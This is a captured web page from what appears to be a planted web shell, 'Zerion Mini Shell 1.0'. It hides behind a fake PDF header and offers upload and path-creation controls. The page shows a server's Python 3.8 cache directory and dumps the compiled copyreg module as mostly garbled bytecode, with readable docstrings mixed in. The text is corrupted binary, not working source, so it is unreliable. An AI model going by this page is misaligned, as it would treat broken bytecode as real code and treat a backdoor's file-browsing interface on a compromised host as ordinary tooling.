%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/__pycache__/copyreg.cpython-38.pyc

U

na@sdZdddddgZiZdddZddZzeWnek
rDYnXd	d
ZeeeeddZd
Z	ddZ
ddZddZddZ
iZiZiZddZddZddZdS)zHelper to provide extensibility for pickle.

This is only useful to add pickle support for extension types defined in
C, not for instances of user-defined classes.
pickleconstructor
add_extensionremove_extensionclear_extension_cacheNcCs,t|std|t|<|dk	r(t|dS)Nz$reduction functions must be callable)callable	TypeErrordispatch_tabler)ob_typepickle_functionconstructor_obr#/usr/local/lib/python3.8/copyreg.pyrs
cCst|stddS)Nzconstructors must be callable)rr)objectrrr
rscCst|j|jffSN)complexrealimag)crrr
pickle_complex"srcCs<|tkrt|}n$|||}|jtjkr8||||Sr)r__new____init__)clsbasestateobjrrr
_reconstructor)sricCs|dkst|j}|jD]}t|dr|jt@sq:qt}|tkrHd}n"||krbtd|jd||}|||f}z
|j	}Wn\t
k
rt|ddrtd|jd|dz
|j}Wnt
k
rd}YnXYnX|}|rt
||fSt
|fSdS)N	__flags__zcannot pickle z object	__slots__zf object: a class that defines __slots__ without defining __getstate__ cannot be pickled with protocol )AssertionError	__class____mro__hasattrr	_HEAPTYPErr__name____getstate__AttributeErrorgetattr__dict__r)selfprotorrrargsgetstatedictrrr

_reduce_ex6s6




r.cGs|j|f|Srr)rr+rrr

__newobj__Zsr0cCs|j|f||S)zUsed by pickle protocol 4, instead of __newobj__ to allow classes with
    keyword-only arguments to be pickled correctly.
    r/)rr+kwargsrrr

__newobj_ex__]sr2cCs|jd}|dk	r|Sg}t|ds(n|jD]}d|jkr.|jd}t|trV|f}|D]^}|dkrjqZqZ|dr|ds|j	d}|r|
d||fq|
|qZ|
|qZq.z
||_WnYnX|S)aReturn a list of slot names for a given class.

    This needs to find slots defined by the class and its bases, so we
    can't simply return the __slots__ attribute.  We must walk down
    the Method Resolution Order and concatenate the __slots__ of each
    class found there.  (This assumes classes don't modify their
    __slots__ attribute to misrepresent their slots after the class is
    defined.)
    
__slotnames__Nr)r(__weakref_____z_%s%s)r(getr"r!
isinstancestr
startswithendswithr$lstripappendr3)rnamesrslotsnamestrippedrrr

_slotnamescs2





rBcCst|}d|krdks&ntd||f}t||krNt||krNdS|tkrjtd|t|f|tkrtd|t|f|t|<|t|<dS)zRegister an extension code.izcode out of rangeNz)key %s is already registered with code %sz$code %s is already in use for key %s)int
ValueError_extension_registryr7_inverted_registrymoduler@codekeyrrr
rs$

cCsR||f}t||ks$t||kr4td||ft|=t|=|tkrNt|=dS)z0Unregister an extension code.  For testing only.z%key %s is not registered with code %sN)rFr7rGrE_extension_cacherHrrr
rscCstdSr)rLclearrrrr
rs)N)__doc____all__rrrr	NameErrorrrr#r.r0r2rBrFrGrLrrrrrrr
<module>s4

	$<

Zerion Mini Shell 1.0